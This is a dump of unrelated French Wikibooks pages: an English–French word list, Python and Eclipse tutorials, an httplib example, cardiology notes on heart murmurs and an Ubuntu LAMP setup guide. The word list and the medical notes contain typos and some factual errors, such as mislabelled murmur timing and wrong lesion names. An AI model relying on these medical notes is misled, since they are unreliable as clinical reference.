soupirant sullen = maussade sully = lit. souiller supersede = supplanter, remplacer supine = lit. étendu sur le dos surf = ressac surfeit of = excès de surmise that = conjecturer que survey = (investigation) enquête suspender = Am. Bretelles to suss out = piger sustain = recevoir (injury) swagger = parader/démarche fanfaronne swamp = submerger swap = échange swarm up = grimper swaddl = emmailloter swarthy = basané swell = enflure (on body) swelter = étouffer swig = lampée swindle = escroquerie swine = péj. Salaud swoon = lit. se pâmer swoop on = faire une descente dans ear-tabs = oreillons (chapeau) tabby = tigré (cat) tabloid = quotidien populaire tack (of ship) = louvoyer tackle (gear) matériel (thief) saisir (rugby) plaquer tallow = suiffer tally with = correspondre, concorder tame = apprivoiser tamper = (text) altérer tang = saveur, odeur piquante tangle = enchevêtrer (fish) tank = aquarium tankard = Br chope tantalizing = (irrésistiblement) tentant it’s tantamount to = cela équivant à to have a tantrum = (of child) faire une colère taper (of fingers…) s’effiler (candle) tar = goudron tarpaulin = bâche tarry = (remain) lit. rester tartness (of taste, fig. remark) aigreur tassel = (clothes) gland tatters = en lambeaux taut = tendu tawny (colour) fauve tedious = fastidieux teeter = chanceler (be unsteady) teethe = faire ses dents tendril = vrille (plante) tend = s’occuper de tenement = immeuble (de rapport) tenet = principe tenuous = (link, suspicion etc) ténu tepid (liquid) = tiède testify against = témoigner contre testy = irritable tether (fasten) = attacher terse = laconique therein = à ce moment ou endroit thatch = chaume thaw = dégeler thicket = (trees) fourré thimble = dé à coudre thither = là thence = de là thistle = chardon thoroughly = tout à fait thoroughfare = artère (street) thoroughbred = pur-sang (horse) thrash around or about = se débattre thrashing = (beating) correction threadbare = élimé, rapé thresh = (wheat etc) battre thrill = frisson, émotion thrive = prospérer in the throes of = en proie à (illness, crisis) throng = lit. foule throttle = étrangle (strangle) thumb (through) = feuilleter thwart = contrecarrer (plan, person) tidbit = Am. Bon morceau tidings = lit. nouvelles tier (of cake) étage tile (on roof) tuile (on wall, on floors) carreau tiller (bateau) barre timber = Br bois de construction tinkle = tintement tinge = teinte tingle = picoter tinker = bricoler tiptoe = marcher sur la pointe des pieds titter = rire bêtement toddler = enfant en bas âge toil = labeur/travailler dur token (voucher) bon/ (sign, symbol) témoignage tomcat = matou topple (over) = tomber totter = chanceler totaled = (voiture) bousillé tousled = ébouriffé (hair) tow = remorqluer transfix = to pierce through tramp (hike) = faire une randonnée to trample sth or on sth = piétiner qch tread on = marcher sur (walk) treadmill = péj. Fam. routine treat = (meal) régal treak = cheminer, voyager péniblement tremor = tremblement trend = tendance trestle = tréteau tricky (person) rusé trifle = bagatelle trigger = gachette trinket = colifichet trim = soigné, net to trot off or trot along = Br hum fam se sauver trough = abreuvoir trousers = br pantalon trout = truite truce = trêve trudge = mrcher d’un pas pesant truncheon = matraque trundle along = rouler bruyamment trunk = Am. Coffre truss (up) = ligoter tub (basin) = baquet tubby = fam grassouillet tuft (of hair, grass) = touffe tug = tirer tuition = (lessons) leçons tumbler = gobelet tureen = soupière tweak = pincer turpentine = térébenthine tussle = bagarre twaddle = fadaises twang = son vibrant twerp = Br Fam crétin twine rond = s’enlancer autour de twinge (of pain) = un élancement twinklw = pétiller/scintiller twitch = tic/se convulser twitter = pépier unabashed = nullement déconcerté to continue unabated = continuer avec la même intensité uncanny = mystérieux, étrange uncouth = grossier underling = subalterne understatement = euphémiseme undoing = perte, ruine uneartly = sinistre unerring = infaillible ungainly = gauche, maladroit to come unglued = am. Fam.perdre les pédales unheard-of = inouï unmanned =inhabité/sans équipage unravel = fig. éclaircir unruffled = (person) calme unruly = indiscipliné unscathed = indemne unsettled = (person) troubler untidy = peu soigné unwind = dérouler unyielding = (person) inflexible uproar = vacarme, tapage upset = (knock over, spill) renverser urge = (person, team etc) encourager/besoin utterance = déclaration vaciliate =hésiter vagary = caprice vagrant = jur. vagabond vantage point = point de vue vat = cuve vault = sauter (jump) venner = (appearance) fig. vernis venture = entreprise (risquée) vicinity – environs vie with = rivaliser avec vindicate = justifier void = vide vouch for s.o./sth = répondre de qn/qch wainscoting = lambris warbler = fauvette holy wafer = hostie wad = Am. tampon waddle = se dandiner wade through = fig. venir péniblement à bout de waft = flotter (smell etc) wag = remuer, agiter (tail, finger)/farceur wage = salaire to wage war = faire la guerre waggle = remuer waif = enfant abandonné waistcoat = Br gilet walk = chemin wallow = se vautrer (dans la boue, le vice) walnut = noyer wan = lit pâle wane = décroître wangle (obtain) = se débrouiller pour obtenir wanton (grauitous) = gratuit/old-fashioned = impudique warden = Br gardien wares = marchandises warfare = guerre warmonger = fauteur de guerre warp = fig. pervertir (rabbit) warren = garenne wart = verrue watercolour = aquarelle waterfront = front de mer waylay = attaquer par surprise weal = (wound on skin) marque, zébrure wean = (baby) sevrer weasel = belette weaather = (face, person) tanné, hâlé wee = fam. tout petit weld together = souder/fig. unir well up = monter wench = old-fashioned hum jeune fille wend one’s way to = s’acheminer vers wharf = quai whence =de là wheedle s.o. into doing = enjôler qn pour qu’il fasse wheeze = respirer bruyamment whereupon = sur quoi to have the wherewithal to do sth = avoir de quoi faire qch whet = (appetite, desire etc) aiguiser whiff = bouffée (puff) whim = caprice whimsical = bizarre whirr = vrombir whisk = enlever rapiedement whitewash = badigeonner (wall)/fig. blanchir whittle (wood) = tailler whizz = aller à toute vitesse wholesale = fig. en masse whopping = fam.chose énorme wick = mèche wicket (cricket stumps) guichet wintry smile = sourire découragé wiggle = agiter willowy = gracile, svelte wilt (of plant) dépérir wily = rusé winch = treuil wind down = (end up) finir wintry = d’hiver to wit = à savoir withal = en outre wiry = nerveux wisp = volute (of smoke) a (mere) wisp of a girl = hum une fillette toute menue wold = plaine valonnée wolverine = martre wizened = ratatiné wobble = être bancal (chair etc) woeful = triste womb = utérus woo = courtiser, faire la cour à worst = vaincre withe = brin d’osier would-be = soi-disant wreak vengeance on = se venger de wreath = couronne (on head, for funeral etc) wren = roitelet wrench = (tug at) tirer sur wrest sth from s.o. arracher qch à qn wring (out) = tordre writ = acte judiciaire wry = ironique yarn = fam longue histoire yearn = nostalgie yelp = jappement yowl = miauler yoke = joug (fig. + sens propre) yokel = péj. Plouc yolk = jaune d’oeuf yonder = lit. là-bas Dbase 8587 44742 2006-06-16T21:45:42Z 87.8.140.212 /* Lien */ == Définition sommaire == Dbase est un système de base de donnée qui se caractérise par une interface utilisateur "en mode texte" jugée aujourd'hui trop peu conviviale. Le langage utilisé pour développer les applications de base de donnée est très proche du langage BASIC (voir WIKIPEDIA [http://fr.wikipedia.org/wiki/Basic]) ce qui explique le grand succés rencontré par ce système dans les années 1985. Les fichiers issus du monde Dbase portent une extension ".DBF" == Lien == Voir aussi WIKIPEDIA [DBase] : [http://fr.wikipedia.org/wiki/DBase] Modèle:Programmation Python 8588 44655 2006-06-16T12:48:44Z Boly38 136 +python ss eclipse {| style="width:200px;margin-left: 5px; border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:lightblue;" | '''[[Programmation Python]]''' |- | style="text-align:center;background:lightblue;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | bgcolor="lightblue" | '''Partie 1 : Introduction''' |- | *<small>[[Programmation Python Introduction|Introduction]]</small> *<small>[[Programmation Python Installation et utilisation|Installation et utilisation]]</small> **<small>[[Programmation Python Python avec Eclipse|Python avec Eclipse]]</small> |- | bgcolor="lightblue" | '''Partie 2 : Le langage''' |- | *<small>[[Programmation Python Base du langage|Base du langage]]</small> **<small>[[Programmation Python Variable|Variable]]</small> **<small>[[Programmation Python Type|Type]]</small> **<small>[[Programmation Python Opérateur|Opérateur]]</small> **<small>[[Programmation Python Exercices Base du langage|Exercices sur les bases du langage]]</small> *<small>[[Programmation Python Structure de contrôle|Structure de contrôle]]</small> *<small>[[Programmation Python Type de données complexe|Type de données complexe]]</small> **<small>[[Programmation Python Les chaînes de caractères|Les chaînes de caractères]]</small> *<small>[[Programmation Python Fonction|Fonction]]</small> *<small>[[Programmation Python Module|Module]]</small> *<small>[[Programmation Python Programmation orienté objet|Programmation orienté objet]]</small> *<small>[[Programmation Python Exception|Exception]]</small> |- | bgcolor="lightblue" | '''Partie 3 : Les bibliothèques''' |- | *<small>[[Programmation Python L'interface graphique|L'interface graphique]]</small> **<small>[[Programmation Python Tkinter|Tkinter]]</small> *<small>[[Programmation Python SGBD|SGBD]]</small> *<small>[[Programmation Python L'interface CGI|L'interface CGI]]</small> *<small>[[Programmation Python Le réseau|Le réseau]]</small> *<small>[[Programmation Python Les threads|Les threads]]</small> |- | bgcolor="lightblue" | '''Partie 4 : Autour de Python''' |- | *<small>[[Programmation Python Bonnes pratiques|Bonnes pratiques]]</small> |- | bgcolor="lightblue" | '''Annexe''' |- | *<small>[[Programmation Python Ressources externes|Ressources externes]]</small> *<small>[[Programmation Python Liste des tableaux|Liste des tableaux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Programmation_Python&action=submit Modifier ce modèle]</small> |} Modèle:Python 8589 44613 2006-06-16T09:52:36Z Boly38 136 #redirect [[Modèle:Programmation Python]] #redirect [[Modèle:Programmation Python]] Programmation Python/Sommaire 8590 44656 2006-06-16T12:49:33Z Boly38 136 /* Partie 1 : Introduction */ [[Programmation Python Python avec Eclipse|Python avec Eclipse]] __NOTOC__ {{ÉtatDesWikilivres}} ==Sommaire== Python est un langage de script multi-paradigme et multi-usage. === Partie 1 : Introduction === *[[Programmation Python Introduction|Introduction]] {{25}} *[[Programmation Python Installation et utilisation|Installation et utilisation]] {{25}} ** [[Programmation Python Python avec Eclipse|Python avec Eclipse]] {{25}} === Partie 2 : Le langage === *[[Programmation Python Base du langage|Base du langage]] {{25}} **[[Programmation Python Structure d'un programme|Structure d'un programme]]{{25}} **[[Programmation Python Variable|Variable]]{{25}} **[[Programmation Python Type|Type]]{{25}} **[[Programmation Python Opérateur|Opérateur]]{{25}} **[[Programmation Python Exercices Base du langage|Exercices sur les bases du langage]] *[[Programmation Python Structure de contrôle|Structure de contrôle]] *[[Programmation Python Type de données complexe|Type de données complexe]] **[[Programmation Python Les chaînes de caractères|Les chaînes de caractères]] *[[Programmation Python Fonction|Fonction]] *[[Programmation Python Module|Module]] *[[Programmation Python Programmation orienté objet|Programmation orienté objet]] *[[Programmation Python Exception|Exception]] === Partie 3 : Les bibliothèques === *[[Programmation Python L'interface graphique|L'interface graphique]] **[[Programmation Python Tkinter|Tkinter]] *[[Programmation Python SGBD|SGBD]] *[[Programmation Python L'interface CGI|L'interface CGI]] *[[Programmation Python Le réseau|Le réseau]] *[[Programmation Python Les threads|Les threads]] === Partie 4 : Autour de Python === *[[Programmation Python Bonnes pratiques|Bonnes pratiques]] === Annexe === *[[Programmation Python Ressources externes|Ressources externes]] *[[Programmation Python Liste des tableaux|Liste des tableaux]] Programmation Python/Informations 8591 44636 2006-06-16T10:07:57Z Boly38 136 création à partir de [[Programmation PHP/Informations]] ===Informations=== * '''Aide : ''' ** [[Discuter:Programmation Python|Laisser un message]] ** {{en}} [[:en:Programming:Python|Programming:Python]] * '''Modèles disponibles : ''' ** {{m|Programmation Python}} ** {{m|cadre code}} ** {{m|cadre fichier}} ** [[Wikilivres:Modèles|...]] * '''À faire''' : ** compléter ** illustrer avec des exemples ** ... Programmation Python Python avec Eclipse 8596 44664 2006-06-16T13:19:03Z Boly38 136 /* Créer un projet "Hoo hoo World" avec le plug-in PyDev */ +exemple complétion {{Programmation Python}} ==PyDev== {{en}} [http://pydev.sourceforge.net/ Pydev] est un Plug-in pour Eclipse pour le développement d'un projet Python (et Jython). Ce plug-in a été créé par Aleks Totic en juillet 2003 et il est maintenu depuis octobre 2004 par Fabio Zadrozny. Il propose les fonctionnalités suivante : * complétion de code, * analyse et mise en évidence de la syntaxe, * debug * ... ==Installation du plug-in PyDev == Sous Eclipse, voici la procédure à suivre pour installer le plug-in : * Menu "Help" / "Software Updates" / "Find and install ..." / "Search for new feature to install" * "New Remote Site..." / Name : <code>Python Dev</code>, URL : <code>http://pydev.sourceforge.net/updates/</code> / Finish Une fois le plug-in installé, il faut configurer le compilateur Python : * Menu "Window" / "Preferences" / "PyDev" + "Interpreter Python" / "New" / Choisir le "python.exe" / Ok ==Créer un projet "Hoo hoo World" avec le plug-in PyDev == Sous Eclipse, une fois le plug-in installé, choisir de créer un nouveau projet * Menu "File" / "New" / "Project" * Sélectionner <code>Pydev Project</code> / "Next" * Donner un nom et choisir la version correspondant à python (ex: 2.4). * Valider ("Finish") : ''Vous devez avoir une nouvelle entrée correspondant au projet'' * Clic droit sur le projet pour ajouter un nouveau module ("New" / "Pydev module") * donner lui un nom (ex: <code>monScript</code>) * saisir le code suivant dans le fichier : print "Hoo hoo World" * sauvegarder (CTRL + S, ou clic sur la disquette, ou menu "File" / "Save") * exécuter : Bouton droit sur le fichier <code>monScript</code> / "Run as" / "Python run" :''Pour les prochaines exécutions du script, utiliser la barre d'outil (symbole lecture blanc dans un rond vert) ou CTRL + F11.'' ==Complétion auto== Pour voir la complétion automatique de code, utilisez CTRL + Espace. Par exemple pour le code suivant : <pre> x = "Bonjoir" x. </pre> si l'on place le curseur après le point, et que l'on tape CTRL + Espace, l'ensemble des méthodes de la classe String seront proposées (ex: <code>.upper()</code> qui passe en majuscule la chaîne de caractère <code>x</code>). Programmation Python Le réseau 8598 45182 2006-06-19T07:46:14Z Boly38 136 /* Afficher une page Web */ corr lien exemple {{Programmation Python}} __TOC__ ==Récupérer une page Web en python== Python intègre le module [http://docs.python.org/lib/module-httplib.html httplib] qui permet d'émettre et de recevoir des requêtes HTTP. ===Afficher une page Web=== Le code suivant ([http://www.faqts.com/knowledge_base/view.phtml/aid/5152/fid/245 src]) permet de récupérer, à l'aide d'une requête HTTP, une page Web et affiche son code source à l'écran. {{cadre code|Exemple d'appel HTTP GET|<pre> # On utilise le module httplib import httplib # Connexion au proxy # (si vous n'être pas derrière un proxy, alors mettre directement 'fr.wikibooks.org') conn = httplib.HTTP('proxy:3128') # Requête GET # (si vous n'être pas derrière un proxy, alors mettre directement # '/w/index.php?title=Programmation_Python_Le_r%C3%A9seau&action=edit' conn.putrequest('GET', 'http://fr.wikibooks.org/w/index.php?title=Programmation_Python_Le_r%C3%A9seau&action=edit') conn.putheader('Accept', 'text/html') conn.putheader('Accept', 'text/plain') # Décommenter les 3 lignes suivantes si votre proxy nécessite une authentification # import base64 # auth = "Basic " + base64.encodestring("username:password") # h1.putheader('Proxy-Authorization', auth) conn.endheaders() # Récupération de la réponse errcode, errmsg, headers = conn.getreply() # Affichage d'éventuelles erreurs print errcode print errmsg print headers # Affichage de la réponse ligne après ligne f=conn.getfile() for line in f.readlines(): print line # fin de la connexion conn.close() </pre> }} Image:Certcc main.png 8603 44703 2006-06-16T18:46:39Z Rortalo 1615 Copie d'écran effectuée en 2003 de la page principale du CERT-CC (www.cert.org). Utilisée à des fins d'illustration pédagogique de l'utilisation de la veille technologique sécurité. Copie d'écran effectuée en 2003 de la page principale du CERT-CC (www.cert.org). Utilisée à des fins d'illustration pédagogique de l'utilisation de la veille technologique sécurité. Médecine/Sémiologie 8605 44785 2006-06-17T02:00:10Z Nicombo 684 [[Semiologie]] déplacé vers [[Médecine/Sémiologie]] [[Catégorie:Médecine]] ==Généralités== ==Sémiologie thoracique== *[[Souffles cardiaques]] ==Sémiologie abdominale== ==Sémiologie orthopédique== ==Sémiologie neurologique== Souffles cardiaques 8606 44732 2006-06-16T20:58:26Z Nicombo 684 [[Catégorie:Médecine]] [[Catégorie:Sémiologie]] [[Catégorie:Cardiologie]] ==Caractères d'un souffle== Pour définir un souffle on utilise les paramètres suivant : *sa temporalité : systolique (entre B1 et B2) /diastolique (entre B2 et B1) *son intensité (de 1/6ème à 6/6ème) *son foyer et ses éventuelles irradiations *son timbre ==Le rétrécissement aortique (RA)== ===Causes :=== *Rétrécissement aortique calcifié (RAC),la calcification induit un rétrécissement progressif à évolution lente. C ’est la cause la plus fréquente en France surtout chez les personnes âgées. *Bicuspidie congénitale (2 valvules au lieu de 3) *Rhumatisme articulaire aiguë (RAA) du à une répétition d’angine à streptocoque aboutissant à des rhumatismes articulaires et à un épaississement et une calcification de la valve(aortique ou mitral).Il a quasiment disparu en France grâce aux antibiotiques. ===Conséquences :=== Surcharge de pression du ventricule gauche (VG) qui va s’hypertrophier entraînant un trouble de la fonction diastolique dans un 1er temps puis de la fonction systolique. ===Symptômes :=== Symptomatologie d’effort présente en premier : *angor d’effort (diminution du débit des coronaires naissant derrière la valve aortique) *dyspnée d’effort (due en 1er temps à la baisse de débit) *syncope d’effort (brusque) Puis ces symptômes arrivent au repos, on est dans un stade très évolué d’insuffisance cardiaque globale (IC) Au reste de l’examen clinique , on détecte des signes d’IVG puis d’IVD(insuffisance ventriculaire D) A l’ECG :hypertrophie VG (HVG),trouble conductif (calcification tissu conductif) ===Caractéristiques :=== *systolique(B1-B2),éjectionnel (augmentation de vitesse après la sténose) *foyer aortique irradiant les vaisseaux du cou ou le bord G du sternum *rude,rapeux *losangique *intensité augmentant après les diastoles longues *parfois accompagné d’ un clic protosystolique au début du souffle si la valve aortique est rigide en faveur d’un RA serré : *abolition de B2(valve calcifié avec remaniement important) *B4 (galop télédiastolique, présystolique, signe d’ICG) ==L’insuffisance aortique (IA)== Correspond à un reflux de sang de l’aorte vers le VG ===Causes :=== *IA chronique : **bicuspidie **dystrophie de l’aorte (valve trop souple) **RAA *IA aiguë : **endocardite (infection bactérienne des valves aboutissant à leur perforation et leurdestruction) **dissection aortique (déchirement de l’intima de l’aorte jusqu’à la valve) ===Conséquences :=== *surcharge de volume *dilatation VG *dysfonction systolique ===Symptômes :=== *signes de l’IVG puis de l’IVD *élargissement de la différentielle tensionnelle (ex :16/5) *hyperpulsatilité **signe de Musset, du poète éponyme,où la tête bouge au rythme du pouls **double souffle de Durozier (systolique et diastolique) **palpation du pouls capillaire derrière les ongles ECG : HVG Radio : rechercher dilatation aorte,dilatation du VG ( arc inférieur G) ===Caractéristiques=== *diastolique,de régurgitation *foyer aortique, doux, peu intense *amplifié assis ou penché en avant *irradie le bord gauche du sternum ===Signes inconstants :=== *+/- souffle éjectionnel fonctionnel (plus de sang sort, le sang sortant normalement plus le sang qui a reflué) *+/- roulement de Flint (le sang refluant gênant la valve mitrale,il mime un rétrecissement mitral) *+/-signes de gravité **B4 (VG peu compliant à cause de sa dilatation) **B3 (signe de dysfonction du VG) ==Rétrécissement mitral (RM)== ===Cause :=== Cette pathologie est très rare car elle n’est qu’au RAA. Cela provoque une calcification des valvules (au nombre de 2), la fusion des commissures, les valves sont épaissies, rigides et peu mobiles. Le rétrécissement mitral est serré si S<1,2 cm2 ===Conséquences :=== *hausse de pression dans l’OG (oreillette G) *dilatation OG *retentissement VD ===Symptômes :=== *dyspnée d’effort, œdème pulmonaire *fibrillation auriculaire (FA, arythmie) *embolie systémique (dilatation OG++), un caillot dans l’OG migrant peut donner une embolie cérébrale ECG : *HAG(aspect bifide,onde P anormalement large) *HVD(grande onde R dans V1 V2, t’ inquiètes c’est à titre indicatif, on aura un cours sur l’ECG) Radio : *dilatation OG (élargissement carène+double contour arc inférieur D OD+OG) *+/- œdème pulmonaire ===roulement diastolique du RM=== *maximum à l’apex (foyer mitral) *irradie peu ou dans l’aisselle G *systolique avec renforcement présystolique si rythme sinusal (régulier) *commence par le claquement d’ouverture mitral (COM,car valve rigide),rythme à 3 temps (B2 COM B1) *timbre rude, grave *tonalité basse *éclat de B1 (fermeture mitral) ==Insuffisance mitrale (IM)== Il s’agit d’une incontinence de la valve mitrale provoquant une fuite du VG vers l’OG ===mécanismes :=== *valve normale :dilatation de l’ anneau due à la dilatation de VG *prolapsus valvulaire (retour en arrière) par rupture de cordage ou de pilier (si IDM proche) *mouvement valvulaire diminué du à RAA ou IM ischémique (pilier insuffisamment oxygéné ?) ===Symptômes :=== *dyspnée d’effort ECG :HAG,HVG,FA ===Souffle=== *holosystolique de régurgitation *pointe irradiant dans aisselle G *jet de vapeur *B1 à B2 *IM massive :B3 (galop protodiastolique),bref roulement mésodiastolique *Prolapsus mitrale : clic mésosystolique +/- souffle holo/télésystolique ==Souffle d’insuffisance tricuspide (IT)== Il est du à l’incontinence de la valve tricuspide, provoquant un reflux du VD vers l’OD. *systolique *foyer tricuspidien (IM localisable un peu partout) *augmente à l’inspiration (signe de Carvalho,par augmentation du retour veineux) *+/- associé au roulement du RM car dilatation VD (si insuffisance respiratoire chronique) ==Souffle de claudication interventriculaire (CIV)== Le sang passe du VG au VD,à cause d’une malformation congénitale du foramen ovale,d’une complication chirurgicale,d’une endocardite ou d’un IDM. *systolique intense *médiocardiaque (bord G sternum) *irradie en rayon de roue (entendu dans tous les foyers) ==Souffle de cardiomyopathie hypertrophique obstructive (CMHO)== Il est la conséquence d’un épaississement homogène ou non de la paroi cardiaque (13 à 15 mm au lieu de 10 mm) au niveau de la valve aortique. *éjectionnel *mésosystolique *mésocardiaque irradiant vers la pointe *augmente après effort *diminue après inspiration NB :il mime le souffle du RA mais irradie vers la pointe et pas dans le cou Catégorie:Médecine 8607 44731 2006-06-16T20:47:53Z Nicombo 684 Page des articles se rapportant à la médecine Catégorie:Sémiologie 8608 44733 2006-06-16T20:59:55Z Nicombo 684 [[Catégorie:Médecine]] Page regroupant les articles de sémiologie (études des signes cliniques). Catégorie:Cardiologie 8609 44734 2006-06-16T21:21:49Z Nicombo 684 [[Catégorie:Médecine]] Psychologie enfant 8610 44747 2006-06-16T21:50:23Z Nicombo 684 Redirecting to [[Acquisition du language]] #REDIRECT [[Acquisition du language]] Aquisition du language 8611 44746 2006-06-16T21:49:24Z Nicombo 684 [[Aquisition du language]] déplacé vers [[Acquisition du language]]: Oups, quel idiot... #REDIRECT [[Acquisition du language]] Catégorie:Cuisine 8612 44757 2006-06-16T22:25:59Z Nicombo 684 Cette catégorie regroupe les articles du [[Livre de Cuisine]] Catégorie:Tartes et pizzas 8613 46071 2006-06-27T18:52:25Z Nicombo 684 chgt du lien vers LdC/tartes et pizzas [[Catégorie:Cuisine]] Les recettes de cette catégorie sont regroupées sur la page des [[Livre de Cuisine/Tartes et pizzas|Tartes et pizzas]] Semiologie 8614 44786 2006-06-17T02:00:10Z Nicombo 684 [[Semiologie]] déplacé vers [[Médecine/Sémiologie]] #REDIRECT [[Médecine/Sémiologie]] LAMP 8615 44792 2006-06-17T08:31:59Z Yanngeffrotin 1600 création (rédigé par eks sur http://doc.ubuntu-fr.org/serveur/lamp sous GNU FDL) {{Wikipédia|LAMP}} ===== Qu'est-ce qu'une « solution LAMP » ? ===== LAMP est l'abbréviation de « Linux + Apache + MySQL + PHP ». En définitive, il s'agit d'installer un serveur HTTP (web), un serveur MySQL (base de donnée), le langage PHP, tout ça sous Linux. ====== Installer une solution LAMP sur Ubuntu ====== Pour l'installation d'une solution lamp sous Ubuntu Dapper Drake, suivez plutôt ce tutoriel : http://doc.ubuntu-fr.org//serveur/lamp_bis ou http://forum.ubuntu-fr.org/viewtopic.php?id=43410&p=1 ===== Installer le serveur MySQL ===== La dénomination des paquets mentionnés peut varier légèrement selon la version. Dans un terminal, entrez : $ sudo apt-get install mysql-server et confirmez. ''(Remarque : il semblerait qu'en installant le paquet "mysql-server-5.0", au lieu du paquet mentionné plus haut, certaines personnes rencontrent des problèmes. Il est donc préférable d'installer ce paquet, on d'installer la dernière version 4 stable avec : $ sudo apt-get install mysql-server-4.1. Consultez le forum pour plus d'informations : [[http://forum.ubuntu-fr.org/viewtopic.php?id=15352]])'' Lancez ensuite la commande : cd && sudo mysql_secure_installation Appuyez sur Entrée lorsqu'il vous demande le mot de passe root MySQL : pour le moment il n'y en a pas. ''**NB :** MySQL a ses propres utilisateurs, avec leurs propres privilèges. Le root MySQL n'est donc pas le root système. Il est conseillé de ne pas mettre les même mots de passes pour les utilisateur MySQL et les utilisateur du système.'' Le script vous demande alors si vous voulez mettre un mot de passe pour l'utilisateur root. Répondez Y, et entrez (2 fois le nouveau mot de passe du root MySQL). Il vous pose ensuite une série de questions. Si vous ne savez pas quoi répondre, acceptez les choix par défaut en appuyant simplement sur Enter. Votre serveur MySQL est prêt. Par défaut il se lance à chaque démarrage du système, si vous ne le souhaitez pas, il vous suffit de lancer : $ sudo dpkg-reconfigure mysql-server et de répondre "Non" à la question du démarrage systématique de MySQL. ===== Installer Apache + PHP + PhpMyAdmin ===== ''Remarque : Vérifiez que la case " Traiter les paquets recommandés comme des dépendances" soit cochée dans synaptic, configuration, préférences.'' Grâce aux dépendances des paquets, cette opération peut se faire en une seule fois : $ sudo apt-get install phpmyadmin Cela installera automatiquement apache2 + php + modules d'apache pour php et mysql + phpmyadmin. Pour accèder à phpmyadmin, il faut se rendre à la page [[http://localhost/phpmyadmin]]. ''Note : En cas de problème d'authentification (erreur 2002 nottament) installer le paquet mysql-server peut résoudre ce dernier.'' Après l'installation, il vaut mieux modifier les droits d'accès de root, et ajouter un mot de passe pour un peu plus de sécurité. Pour cela, il faut se rendre à la page ''privilèges'' de phpmyadmin. Remarque pour hoary : Afin que cette commande fonctionne il est nécessaire d'avoir effectué les modifications suivantes : dans /etc/apt/ éditer le fichier sources.list supprimer les # des lignes suivantes : # deb http://fr.archive.ubuntu.com/ubuntu hoary universe (cette ligne est dans certain cas '# deb http://archive.ubuntu.com/ubuntu/ hoary universe main restricted multiverse') # deb-src http://fr.archive.ubuntu.com/ubuntu hoary universe ''Pour la version d'ubuntu 5.10 (Breezy), vous pouvez effectuer ces changements avec le gestionnaire de paquets synaptic (apt) : Système ---> Administration ---> Gestionnaire de paquets synaptic Catégories ---> Dépôts ----> Ajouter et ensuite, selectionner : maintenu par la communauté universe...'' Lancer le chargement des nouvelles sources : $ sudo apt-get update Puis lancer l'install de phpmyadmin comme décrit ci-dessus. ===== Créer des utilisateurs MySQL ===== Lancez votre navigateur préféré sur l'adresse http://localhost/phpmyadmin/ * Logguez-vous en tant que 'root' avec le mot de passe du root MySQL que vous avez défini tout à l'heure * Cliquez sur "Privilèges", puis sur "Ajouter un utilisateur" * Entrez les information de l'utilisateur * Dans la table "Privilèges globaux", définissez les droits de l'utilisateur. Si vous ne savez pas quoi mettre, cochez toutes les cases des colones "Données" et "Structures". * Validez en cliquant sur "Exécuter" Vous pouvez maintant vous déloguer en cliquant sur "Quitter" et vous loguer avec le login et le mot de passe du nouvel utilisateur. ===== Problème d'encodage d'apache2 ===== Si vous rencontrez un problème d'encodage des caractères de vos pages, par exemple les caractères accentués apparaissant sous la forme "�" (<?>), c'est probablement parce qu'Apache2 déclare dans les en-têtes HTTP qui accompagnent les pages visionnées un encodage par défaut en Unicode (UTF-8) : Content-Type: text/html; charset=UTF-8 Tandis que les pages visionnées utilisent un autre encodage des caractères, comme par exemple Latin1 (ISO-8859-1). Même si vos documents indiquent le jeu de caractères utilisé, le paramètre donné par le serveur dans les en-têtes HTTP est prioritaire ! Pour corriger ce problème, il faudra éditer /etc/apache2/apache2.conf : $ sudo gedit /etc/apache2/apache2.conf ==== Encodage par défaut en Latin1 (ISO-8859-1) ==== Cherchez la ligne suivante : #AddDefaultCharset ISO-8859-1 Décommentez-la en enlevant le # : AddDefaultCharset ISO-8859-1 Pour ceux qui ont la locale iso-8859-15 (sinon vous pouvez faire "sudo dpkg-reconfigure locales" pour l'ajouter) et qui désirent l'utiliser par défaut, ajoutez un 5 en fin de ligne : AddDefaultCharset ISO-8859-15 ainsi que la ligne suivante dans le paragraphe en-dessous : AddCharset ISO-8859-15 .iso8859-15 .latin15 .fr Il ne vous reste plus qu'à mettre "fr" en première position dans la ligne LanguagePriority (juste au-dessus), et à demander à apache de relire sa configuration : $ sudo /etc/init.d/apache2 reload ==== Aucun encodage par défaut ==== Il est également possible de s'affranchir detout encodage par défaut, de la manière suivante : Cherchez la directive ''AddDefaultCharset'' : AddDefaultCharset ISO-8859-1 Remplacez l'attribut par la valeur ''Off'' : AddDefaultCharset Off Là encore, on demandera à Apache de relire sa configuration : $ sudo /etc/init.d/apache2 reload Maintenant, les en-têtes HTTP ne contiendront plus d'indication d'encodage des caractères. Attention : il faudra alors que chaque page indique l'encodage utilisé, car s'en remettre à la détection automatique par les navigateurs peut s'avérer assez aléatoire ! ===== Créer son site ===== Placez vos fichiers php et html dans /var/www pour qu'ils deviennent le site de votre machine (celui disponible à l'adresse http://nom_ou_ip_de_votre_machine/ ) ===== Créer sa page utilisateur ===== Placez vos fichiers php et html dans un sous-répertoire "public_html" de votre répertoire utilisateur pour qu'ils deviennent votre site utilisateur (celui disponible à l'adresse http://nom_ou_ip_de_votre_machine/~votre_login/) ==== Permettre l'utilisation de fichiers dans le "~/public_html" ==== Il faut activer le module userdir : sudo a2enmod userdir sudo /etc/init.d/apache2 reload ===== Sécuriser Apache avec ssl ===== Une des façons de sécuriser la transmission des données est d'utiliser des protocoles d'authentification et de chiffrement tels que SSL. On active le mod SSL (il s'agit d'un utilitaire Debian qui créé des liens symboliques entre mods-available/mods-enabled et sites-available/sites-enabled): sudo a2enmod ssl On génére un certificat par la réponse à quelques question (Ceci génèrera 2 fichiers dans ****/etc/apache2/ssl**** : apache.pem et un fichier au nom aléatoire.) : sudo apache2-ssl-certificate On configure ssl : sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/ssl sudo ln -s /etc/apache2/sites-available/ssl /etc/apache2/sites-enabled/ssl Éditez le fichier de configuration ****/etc/apache2/sites-enabled/ssl**** pour qu'il accepte les connections sur le port 443 : NameVirtualHost *:443 <VirtualHost *:443> (...les répertoires et autres configurations si désiré) Éditez le fichier de configuration ****/etc/apache2/sites-available/default**** pour qu'il accepte les connections sur le port 80 : NameVirtualHost *:80 <VirtualHost *:80> (...les répertoires et autres configurations si désiré) Dans le fichier ****/etc/apache2/ports.conf****, ajoutez : Listen 443 et dans le milieu du 